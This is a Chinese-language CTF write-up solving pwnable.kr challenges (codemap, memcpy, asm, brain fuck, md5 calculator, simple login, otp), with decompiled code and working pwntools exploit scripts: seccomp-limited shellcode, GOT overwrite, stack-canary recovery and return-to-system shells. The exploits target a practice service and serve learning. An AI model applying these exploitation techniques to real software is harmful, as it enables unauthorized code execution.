pwnable.kr 题解二

0x01 codemap

1. 题目描述

I have a binary that has a lot information inside heap.
How fast can you reverse-engineer this?
(hint: see the information inside EAX,EBX when 0x403E65 is executed)

download: http://pwnable.kr/bin/codemap.exe


ssh [email protected] -p2222 (pw:guest)

2. 题目分析

我们直接看IDA反汇编后的代码:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // esi@3
  void *v4; // eax@3
  void *v5; // edi@3
  int v6; // esi@4
  void *v7; // eax@4
  void *v8; // ecx@5
  unsigned int v9; // eax@8
  unsigned int v10; // esi@8
  void *v11; // ebx@8
  unsigned int v12; // esi@9
  void *v14; // [sp+10h] [bp-60h]@0
  unsigned int v15; // [sp+14h] [bp-5Ch]@8
  unsigned int v16; // [sp+18h] [bp-58h]@1
  unsigned int v17; // [sp+1Ch] [bp-54h]@1
  char v18[64]; // [sp+20h] [bp-50h]@9
  int v19; // [sp+6Ch] [bp-4h]@3

  printf("I will make 1000 heap chunks with random size\n");
  printf("each heap chunk has a random string\n");
  printf("press enter to start the memory allocation\n");
  sub_2E40B1();
  v17 = 0;
  v16 = 0;
  srand(0);
  while ( 1 )
  {
    v3 = 10000 * rand() % 1337;
    v4 = operator new(8u);
    v5 = v4;
    v19 = 0;
    if ( v4 )
    {
      *(_DWORD *)v4 = &off_2EF2EC;
      v6 = (10000 * v3 >> 1) + 123;
      v7 = operator new(8u);
      if ( v7 )
      {
        *((_DWORD *)v7 + 1) = v6;
        *((_DWORD *)v5 + 1) = v7;
        v8 = v5;
      }
      else
      {
        *((_DWORD *)v5 + 1) = 0;
        v8 = v5;
      }
    }
    else
    {
      v8 = 0;
    }
    v19 = -1;
    v9 = (**(int (***)(void))v8)();
    v10 = v9 % 100000;
    v15 = v9 % 100000;
    v11 = malloc(v9 % 100000);
    if ( v10 >= 0x10 )
    {
      qmemcpy(v18, "abcdefghijklmnopqrstubwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890", 63u);
      v12 = 0;
      do
      {
        ++v12;
        *((char *)v11 + v12 - 1) = v18[rand() % 62];
      }
      while ( v12 < 0xF );
      *((_BYTE *)v11 + 15) = 0;
      if ( v15 > v17 )
      {
        v17 = v15;
        v14 = v11;
      }
    }
    ++v16;
    if ( v16 >= 0x3E8 )
      break;
    srand(v16);
  }
  printf("the allcated memory size of biggest chunk is %d byte\n", v17);
  printf("the string inside that chunk is %s\n", v14);
  printf("log in to pwnable.kr and anwer some question to get flag.\n");
  sub_2E40B1();
  return 0;
}

经过分析我们可以看到,大概就是是随机malloc了1000个chunk,然后为这些chunk随机从abcdefghijklmnopqrstubwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890中赋值。

题目提示的地址对应以下语句

mov     [ebp+var_54], eax
mov     [ebp+var_60], ebx

其中eax存的是chunk的大小,ebx存的是chunk的内容

image
安装IDA_python:
项目地址:https://github.com/idapython
IDA Python手册:https://www.hex-rays.com/products/ida/support/idapython_docs/

1、从http://www.python.org/安装Python 2.7版本。

2、复制安装包内的python目录到%IDADIR%(IDA)目录,%IDADIR%\python

3、复制安装包内的plugins目录到%IDADIR%(IDA)目录,%IDADIR%\plugins

4、复制安装包内的"python.cfg" 到 %IDADIR%\cfg内

快捷键使用:
  • 运行IDA脚本文件: (Alt-F7)
  • 单行执行Python (Ctrl-F3)
  • 查看现有的IDA脚本文件 (Alt+F9)
from idaapi import *
from idc import *
import os


try:
    if debugger:
        print("Removing previous hook...")
        debugger.unhook()
except:
    pass

eax_list = list()
ebx_list = list()


AddBpt(0x403e65)
print "[+] breakpoint at 0x403e65..."
StartDebugger("","","")
for i in range(0,998):
    GetDebuggerEvent(WFNE_SUSP|WFNE_CONT, -1)
    print 'run No. %d' % i
    eax = GetRegValue('EAX')
    eax_list.append(eax)
    ebx = GetRegValue('EBX')
    ebx_list.append(ebx) 

print '[+] eax max : ',max(eax_list)
index = eax_list.index(max(eax_list))
a = ebx_list[index]
Message("%x"%a)
print "max",GetString(a)
del(eax_list[index])
del(ebx_list[index])
#
print '[+] eax second : ',max(eax_list)
index = eax_list.index(max(eax_list))
a = ebx_list[index]
Message("%x"%a)
print "second",GetString(a)
del(eax_list[index])
del(ebx_list[index])
#
print '[+] eax third : ',max(eax_list)
index = eax_list.index(max(eax_list))
a = ebx_list[index]
Message("%x"%a)
print "third",GetString(a) 
del(eax_list[index])
del(ebx_list[index])

使用的时候使用ida加载exe程序后选择debugger,然后alt+f7选择脚本文件执行即可

【参考链接】:

  • https://www.cnblogs.com/17bdw/p/7785469.html

0x02 memcpy

按照题目提示输入十组数字,然后发现循环的时候不能走完整个循环,本地编译下,gdb调试可以发现是有汇编的那段,malloc分配空间的时候会有一个对齐操作,也就是说如果输入分配空间的数字不是8或者16的倍数的时候会段错误。

specify the memcpy amount between 8 ~ 16 : 9
specify the memcpy amount between 16 ~ 32 : 17
specify the memcpy amount between 32 ~ 64 : 33
specify the memcpy amount between 64 ~ 128 : 111
specify the memcpy amount between 128 ~ 256 : 133
specify the memcpy amount between 256 ~ 512 : 266
specify the memcpy amount between 512 ~ 1024 : 566
specify the memcpy amount between 1024 ~ 2048 : 1066
specify the memcpy amount between 2048 ~ 4096 : 2066
specify the memcpy amount between 4096 ~ 8192 : 4100
ok, lets run the experiment with your configuration
experiment 1 : memcpy with buffer size 9
ellapsed CPU cycles for slow_memcpy : 1554
ellapsed CPU cycles for fast_memcpy : 666

experiment 2 : memcpy with buffer size 17
ellapsed CPU cycles for slow_memcpy : 339
ellapsed CPU cycles for fast_memcpy : 495

experiment 3 : memcpy with buffer size 33
ellapsed CPU cycles for slow_memcpy : 549
ellapsed CPU cycles for fast_memcpy : 717

experiment 4 : memcpy with buffer size 111
ellapsed CPU cycles for slow_memcpy : 1584
ellapsed CPU cycles for fast_memcpy : 1029

experiment 5 : memcpy with buffer size 133
ellapsed CPU cycles for slow_memcpy : 1890
memcpy@ubuntu:~$ 

可以看到在到实验5的fast_memcpy的时候程序崩溃了

  1. 分配空间的时候,堆块的大小除了用户的数据外还有size以及标志字段,所以实际分配的是8 * ((data+4)/8 + 1)(32位)

  2. 问题出在movntps m128,XMM,m128 <== XMM直接把XMM中的值送入m128,不经过cache,必须对齐16字节.

  3. malloc不足8字节的会8字节对齐,所以要求我们输入的大小mod 16后的余数大于8或者为0

  4. 即满足:

if (a+4)%16 == 0 or (a+4)%16 >8:
    print a

提交相应的大小后可获得flag.

【参考链接】

  • https://toalice.github.io/2017/07/19/Heap1/
  • https://www.cnblogs.com/p4nda/p/7162378.html

0x03 ASM

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

#define LENGTH 128

void sandbox(){
    scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
    if (ctx == NULL) {
        printf("seccomp error\n");
        exit(0);
    }

    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);

    if (seccomp_load(ctx) < 0){
        seccomp_release(ctx);
        printf("seccomp error\n");
        exit(0);
    }
    seccomp_release(ctx);
}

char stub[] = "\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48\x31\xed\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xd2\x4d\x31\xdb\x4d\x31\xe4\x4d\x31\xed\x4d\x31\xf6\x4d\x31\xff";
unsigned char filter[256];
int main(int argc, char* argv[]){

    setvbuf(stdout, 0, _IONBF, 0);
    setvbuf(stdin, 0, _IOLBF, 0);

    printf("Welcome to shellcoding practice challenge.\n");
    printf("In this challenge, you can run your x64 shellcode under SECCOMP sandbox.\n");
    printf("Try to make shellcode that spits flag using open()/read()/write() systemcalls only.\n");
    printf("If this does not challenge you. you should play 'asg' challenge :)\n");

    char* sh = (char*)mmap(0x41414000, 0x1000, 7, MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE, 0, 0);
    memset(sh, 0x90, 0x1000); //nop
    memcpy(sh, stub, strlen(stub));
    
    int offset = sizeof(stub);
    printf("give me your x64 shellcode: ");
    read(0, sh+offset, 1000);

    alarm(10);
    chroot("/home/asm_pwn");    // you are in chroot jail. so you can't use symlink in /tmp
    sandbox();
    ((void (*)(void))sh)();
    return 0;
}

首先使用pwntools中的disasm看下stub:

   0:   48                      dec    eax
   1:   31 c0                   xor    eax,eax
   3:   48                      dec    eax
   4:   31 db                   xor    ebx,ebx
   6:   48                      dec    eax
   7:   31 c9                   xor    ecx,ecx
   9:   48                      dec    eax
   a:   31 d2                   xor    edx,edx
   c:   48                      dec    eax
   d:   31 f6                   xor    esi,esi
   f:   48                      dec    eax
  10:   31 ff                   xor    edi,edi
  12:   48                      dec    eax
  13:   31 ed                   xor    ebp,ebp
  15:   4d                      dec    ebp
  16:   31 c0                   xor    eax,eax
  18:   4d                      dec    ebp
  19:   31 c9                   xor    ecx,ecx
  1b:   4d                      dec    ebp
  1c:   31 d2                   xor    edx,edx
  1e:   4d                      dec    ebp
  1f:   31 db                   xor    ebx,ebx
  21:   4d                      dec    ebp
  22:   31 e4                   xor    esp,esp
  24:   4d                      dec    ebp
  25:   31 ed                   xor    ebp,ebp
  27:   4d                      dec    ebp
  28:   31 f6                   xor    esi,esi
  2a:   4d                      dec    ebp
  2b:   31 ff                   xor    edi,edi

这是一系列的寄存器清零操作,沙箱限制了我们只能使用有限的几个函数,比如open、write、exit、read。所以我们的思路就是open
打开文件read出来然后write到stdout里边。

from pwn import *


conn = ssh(host="pwnable.kr",user="asm",password="guest",port=2222)

p = conn.connect_remote('localhost',9026)


context(arch="amd64",os="linux",word_size=64)


shellcode = ""


shellcode += shellcraft.open('this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong')

shellcode += shellcraft.read('rax','rsp',100)
shellcode += shellcraft.write(1,'rsp',100)

print shellcode
print p.recv()

p.send(asm(shellcode))
print p.recvline()

即可得到flag:Mak1ng_shelLcodE_i5_veRy_eaSy ,再说一点其他,汇编中leave,ret.

leave:esp=ebp+8,ebp=[ebp]
ret:eip=[esp],esp=esp+8

pwntools介绍:

  • http://blog.csdn.net/gyhgx/article/details/53439417

0x04 brain fuck

brain fuck 是一种语言

字符 含义
> 指针加一
< 指针减一
+ 指针指向的字节的值加一
- 指针指向的字节的值减一
. 输出指针指向的单元内容(ASCⅡ码)
, 输入内容到指针指向的单元(ASCⅡ码)
[ 如果指针指向的单元值为零,向后跳转到对应的]指令的次一指令处
] 如果指针指向的单元值不为零,向前跳转到对应的[指令的次一指令处

main函数:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int result; // eax@4
  int v4; // edx@4
  size_t i; // [sp+28h] [bp-40Ch]@1
  int v6; // [sp+2Ch] [bp-408h]@1
  int v7; // [sp+42Ch] [bp-8h]@1

  v7 = *MK_FP(__GS__, 20);
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  p = (int)&tape;
  puts("welcome to brainfuck testing system!!");
  puts("type some brainfuck instructions except [ ]");
  memset(&v6, 0, 0x400u);
  fgets((char *)&v6, 1024, stdin);
  for ( i = 0; i < strlen((const char *)&v6); ++i )
    do_brainfuck(*((_BYTE *)&v6 + i));
  result = 0;
  v4 = *MK_FP(__GS__, 20) ^ v7;
  return result;
}

关键在于do_brainfuck函数

int __cdecl do_brainfuck(char a1)
{
  int result; // eax@1
  _BYTE *v2; // ebx@7

  result = a1;
  switch ( a1 )
  {
    case 62:
      result = p++ + 1;
      break;
    case 60:
      result = p-- - 1;
      break;
    case 43:
      result = p;
      ++*(_BYTE *)p;
      break;
    case 45:
      result = p;
      --*(_BYTE *)p;
      break;
    case 46:
      result = putchar(*(_BYTE *)p);
      break;
    case 44:
      v2 = (_BYTE *)p;
      result = getchar();
      *v2 = result;
      break;
    case 91:
      result = puts("[ and ] not supported.");
      break;
    default:
      return result;
  }
  return result;
}

通过对p指针的操作以及输入,进行不同的操作。具体的思路就是通过操作p指针,然后可以操作plt表,因为通过ida我们可以看出来tape和plt表离的很近,主要考察GOT覆写技术。

解题脚本:

#!/usr/bin/python
from pwn import *

# context.log_level = 'debug'
# p = process('bf')
# libc = ELF('/lib/i386-linux-gnu/libc.so.6')
libc = ELF('bf_libc.so')
p = remote('pwnable.kr',9001)

def back(n):
    return '<'*n
def read(n):
    return '.>'*n
def write(n):
    return ',>'*n

putchar_got = 0x0804A030
memset_got  = 0x0804A02C
fgets_got   = 0x0804A010
ptr         = 0x0804A0A0

# leak putchar_addr
payload =  back(ptr - putchar_got) + '.' + read(4) 
# overwrite putchar_got to main_addr
payload += back(4) + write(4) 
# overwrite memset_got to gets_addr
payload += back(putchar_got - memset_got + 4) + write(4) 
# overwrite fgets_got to system_addr
payload += back(memset_got - fgets_got + 4) + write(4) 
# JUMP to main,相当于想要去调用putchar,但是其地址已经被替换成main函数的地址了
payload += '.'

p.recvuntil('[ ]\n')
#gdb.attach(p)
p.sendline(payload)
p.recv(1) # junkcode

putchar_libc = libc.symbols['putchar']
gets_libc    = libc.symbols['gets']
system_libc  = libc.symbols['system']

putchar = u32(p.recv(4))
log.success("putchar = "+ hex(putchar))

gets    = putchar - putchar_libc + gets_libc
log.success("gets = "   + hex(gets))

system  = putchar - putchar_libc + system_libc
log.success("system = " + hex(system))

main    = 0x08048671
log.success("main = "   + hex(main))

p.send(p32(main))
p.send(p32(gets))
p.send(p32(system))

p.sendline('//bin/sh\0')
p.interactive()

【参考】:

  • http://blog.csdn.net/smalosnail/article/details/53679546

0x05 md5 calculator

64位运行:sudo apt-get install --reinstall libssl1.0.0:i386


//这里计算res的时候使用canary的值,而且会将我们输入的值和给出的验证码进行比对,我们可以根据这个给出的值,计算出栈cookie
// result的计算和当前的时间有关
int my_hash()
{
  int result; // eax@4
  int v1; // edx@4
  signed int i; // [sp+0h] [bp-38h]@1
  char v3[32]; // [sp+Ch] [bp-2Ch]@2
  int v4; // [sp+2Ch] [bp-Ch]@1

  v4 = *MK_FP(__GS__, 20);
  for ( i = 0; i <= 7; ++i )
    *(_DWORD *)&v3[4 * i] = rand();
  result = *(_DWORD *)&v3[16]
         - *(_DWORD *)&v3[24]
         + *(_DWORD *)&v3[28]
         + v4
         + *(_DWORD *)&v3[8]
         - *(_DWORD *)&v3[12]
         + *(_DWORD *)&v3[4]
         + *(_DWORD *)&v3[20];
  v1 = *MK_FP(__GS__, 20) ^ v4;
  return result;
}


//进入ida-f5: 在这个函数中可以看到,g_buf的大小是1024,但是给v4=3分配的大小是0x200,2014字节的数据b64decode后应该是768大小,所以会产生一个溢出

int process_hash()
{
  int v0; // ST14_4@3
  void *ptr; // ST18_4@3 
  char v3; // [sp+1Ch] [bp-20Ch]@1
  int v4; // [sp+21Ch] [bp-Ch]@1

  v4 = *MK_FP(__GS__, 20);
  memset(&v3, 0, 0x200u);
  while ( getchar() != 10 );
  memset(g_buf, 0, sizeof(g_buf));
  fgets(g_buf, 1024, stdin);
  memset(&v3, 0, 0x200u);
  v0 = Base64Decode(g_buf, &v3);
  ptr = (void *)calc_md5(&v3, v0);
  printf("MD5(data) : %s\n", ptr);
  free(ptr);
  return *MK_FP(__GS__, 20) ^ v4;
}

所以先根据my_hash函数算出栈的cookies:

#include 
#include 

int main(int argc, char **argv) 
{
    int m = atoi(argv[2]);
    int rands[8];
    srand(atoi(argv[1]));
    for (int i = 0; i <= 7; i++) rands[i] = rand();
    m -= rands[1] + rands[2] - rands[3] + rands[4] + rands[5] - rands[6] + rands[7];
    printf("%x\n", m);
    return 0;
}

然后附上exp:

import os
import time
from pwn import *

p = remote("pwnable.kr", 9002)
t = int(time.time())
print p.recvuntil("captcha")
captcha = p.recvline()
captchapos = captcha.find(' : ')+len(' : ')
captcha = captcha[captchapos:].strip()
p.sendline(captcha)
print p.recvline()
print p.recvline()
cmd = "./hash %s %s" % (t, captcha)
cookie = "0x" + os.popen(cmd).read().strip()

payload = 'A' * 512 # ovrewrite 512 byte for v3
payload += p32(int(cookie, 16))
payload += 'A' * 12
payload += p32(0x08049187)  # system
payload += p32(0x0804B0E0 + 537*4/3)  # .bss => address of /bin/sh, base64encode的话536会补1byte
payload = b64e(payload)
payload += "/bin/sh\0"
p.sendline(payload)
p.interactive()

由下边的反汇编指令可知:v3(bp-20c)的大小为512并且和cannary(bp-c)的值紧邻,因此payload初始构造512字节数据覆盖掉v3,然后为cannary的值,然后此时构造12byte的数据覆盖掉ebx、edi、old ebp,然后使用system的地址去覆盖掉返回地址,之后程序在call system函数的时候就去栈顶把/bin/sh\0字符串取出来作为参数执行,得到shell。

栈布局分析: 
---------------------------
低地址
————————— esp-0x220
.......
————————— esp-0x20c (v3的起始地址) 
v3(512byte)
————————— ebp-0xc
cannary
————————— esp
ebx                 
—————————
edi
————————— new ebp
 old ebp
————————— 
ret_addr
—————————
高地址
----------------------------
public process_hash
process_hash proc near

var_214= dword ptr -214h
ptr= dword ptr -210h
var_20C= byte ptr -20Ch
var_C= dword ptr -0Ch

push    ebp
mov     ebp, esp
push    edi
push    ebx
sub     esp, 220h
mov     eax, large gs:14h
mov     [ebp+var_C], eax
xor     eax, eax
lea     eax, [ebp+var_20C]
mov     ebx, eax
mov     eax, 0
mov     edx, 80h
mov     edi, ebx
mov     ecx, edx
rep stosd
nop

【参考】:

  • http://cncc.bingj.com/cache.aspx?q=pwnable.kr+md5+calculator+&d=4665315478210227&mkt=zh-CN&setlang=zh-CN&w=oWZd1kB2_tBJikFwSX18rIKozQnVhgrv
  • https://www.jianshu.com/p/1b895f10193d
  • http://weaponx.site/2017/03/03/md5-caculator-Writeup-pwnable-kr/

0x06 simple login

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [esp+18h] [ebp-28h]
  char s; // [esp+1Eh] [ebp-22h]
  unsigned int v6; // [esp+3Ch] [ebp-4h]

  memset(&s, 0, 30u);
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  printf("Authenticate : ");
  _isoc99_scanf("%30s", &s);
  memset(&input, 0, 12u);
  v4 = 0;
  v6 = Base64Decode(&s, &v4);    // 输入b64decode的之后存入v4,长度存入v6
  if ( v6 > 0xC )                // 长度不能超过12
  {
    puts("Wrong Length");
  }
  else
  {
    memcpy(&input, v4, v6);       // input = v6
    if ( auth(v6) == 1 )
      correct();
  }
  return 0;
}



_BOOL4 __cdecl auth(int a1)
{
  char v2; // [esp+14h] [ebp-14h]
  char *s2; // [esp+1Ch] [ebp-Ch]
  int v4; // [esp+20h] [ebp-8h]        // v4的大小是8字节,下边所示代码却向其中写入了12字节
 
  memcpy(&v4, &input, a1);         // 这里是溢出点,有4字节的溢出。
  s2 = (char *)calc_md5(&v2, 12);    
  printf("hash : %s\n", (char)s2);
  return strcmp("f87cd601aa7fedca99018a8be88eda34", s2) == 0;
}
  • 其中汇编指令leave等同于:mov esp ebp; pop ebp
  • 其中汇编指令ret等同于:pop eip

其中我们能控制的溢出的位置恰好就是ebp的位置,而此auth函数和main最后有leave;retn的操作,使用如下exp,退出auth函数的时候,ebp=input(我们输入的字符串的地址),然后main函数退出的时候,leave操作是,esp=input,pop ebp后 ebp=[input],esp = sys_addr, retn执行后 pop eip, eip = sys_addr,然后正好此时在bss段,mov dword ptr [esp], offset aBinSh ; "/bin/sh"可写入,得到shell.

call system函数的位置
.text:08049284                 mov     dword ptr [esp], offset aBinSh ; "/bin/sh"
.text:0804928B                 call    system

from pwn import *
import base64

def exp():
    io = remote('pwnable.kr', 9003)
    #io = remote('./login')
    raw_input()

    io.recvuntil(':')

    call_system = 0x08049284
    input_addr = 0x811eb40
    payload = 'aaaa' + p32(call_system) + p32(input_addr)
    
    io.sendline(base64.b64encode(payload))
    io.interactive()

exp()
  • http://blog.csdn.net/wangyezi19930928/article/details/16921927 函数调用栈

0x06 otp

本题是通过ulimit限制了进程可以创建文件的最大值,只要限制为0,那么最后的密码一定为空,于是空密码通过,在写脚本时还需要注意的点就是把错误输出重定向到标准输出中。

# 首先有几个知识点:

ulimit 是一个计算机命令,用于shell启动进程所占用的资源,参数形式有-H设置硬资源限制;-S 设置软资源限制;-a 显示当前所有的资源限制等。
-f size:设置创建文件的最大值.单位:blocks

脚本:(写在/tmp/aaa.py下)
import subprocess
subprocess.Popen(['/home/otp/otp', ''], stderr=subprocess.STDOUT)


执行:
otp@ubuntu:~$ ulimit -f 0
otp@ubuntu:~$ python /tmp/aaa.py
  • http://python.jobbole.com/81517/ python的subprocess模块
  • http://blog.csdn.net/z231288/article/details/65512472

你可能感兴趣的:(pwnable.kr 题解二)